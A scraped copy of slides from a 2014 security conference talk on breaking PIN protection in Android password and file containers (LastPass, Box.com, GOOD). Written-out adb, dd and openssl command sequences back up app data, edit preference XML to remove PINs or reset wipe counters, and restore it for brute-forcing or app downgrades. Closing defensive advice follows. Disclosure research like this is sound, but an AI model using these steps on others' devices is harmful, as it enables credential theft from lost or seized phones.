ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 36: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 37: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

